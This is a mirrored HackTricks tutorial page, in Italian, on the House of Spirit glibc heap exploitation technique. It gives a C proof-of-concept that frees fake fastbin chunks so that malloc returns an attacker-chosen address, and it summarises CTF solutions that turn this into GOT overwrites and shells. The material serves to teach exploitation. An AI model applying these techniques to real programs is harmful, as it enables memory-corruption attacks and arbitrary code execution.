Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 06:30:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/binary-exploitation/libc-heap/house-of-spirit.md

7 KiB
Raw Blame History

Casa dello Spirito

{% hint style="success" %} Impara e pratica l'Hacking su AWS: HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Sostieni HackTricks
{% endhint %}

Informazioni di Base

Codice

Casa dello Spirito ```c #include #include #include #include

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };

int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;

ptr = malloc(0x30);

printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);

// Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30); printf("Victim: %p\n", victim);

return 0; }

</details>

### Obiettivo

* Essere in grado di aggiungere un indirizzo nel tcache / fast bin in modo che in seguito sia possibile allocarlo

### Requisiti

* Questo attacco richiede che un attaccante sia in grado di creare un paio di chunk fast falsi indicando correttamente il valore della dimensione e successivamente essere in grado di liberare il primo chunk falso in modo che vada nel bin.

### Attacco

* Creare chunk falsi che eludono i controlli di sicurezza: sarà necessario creare 2 chunk falsi indicando essenzialmente nelle posizioni corrette le dimensioni corrette
* Gestire in qualche modo la liberazione del primo chunk falso in modo che vada nel bin fast o tcache e quindi allocarlo per sovrascrivere quell'indirizzo

**Il codice di** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **è ottimo per comprendere l'attacco.** Anche questo schema dal codice lo riassume abbastanza bene:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

{% hint style="info" %} Nota che è necessario creare il secondo chunk per eludere alcuni controlli di coerenza. {% endhint %}

Esempi

  • CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html

  • Libc infoleak: Attraverso un overflow è possibile cambiare un puntatore per puntare a un indirizzo GOT al fine di ottenere un indirizzo libc tramite l'azione di lettura del CTF

  • House of Spirit: Sfruttando un contatore che conta il numero di "fucili" è possibile generare una dimensione falsa del primo chunk falso, quindi sfruttando un "messaggio" è possibile falsificare la seconda dimensione di un chunk e infine sfruttando un overflow è possibile cambiare un puntatore che verrà liberato in modo che il nostro primo chunk falso venga liberato. Quindi, possiamo allocarlo e al suo interno ci sarà l'indirizzo in cui è memorizzato il "messaggio". Successivamente, è possibile far puntare questo all'ingresso di scanf all'interno della tabella GOT, in modo da poterlo sovrascrivere con l'indirizzo a system.
    La prossima volta che viene chiamato scanf, possiamo inviare l'input "/bin/sh" e ottenere una shell.

  • Gloater. HTB Cyber Apocalypse CTF 2024

  • Glibc leak: Buffer di stack non inizializzato.

  • House of Spirit: Possiamo modificare il primo indice di un array globale di puntatori di heap. Con una singola modifica di byte, utilizziamo free su un chunk falso all'interno di un chunk valido, in modo da ottenere una situazione di sovrapposizione di chunk dopo una nuova allocazione. Con questo, funziona un semplice attacco di avvelenamento Tcache per ottenere un primitivo di scrittura arbitraria.

Riferimenti

{% hint style="success" %} Impara e pratica l'Hacking su AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)

Sostieni HackTricks
{% endhint %}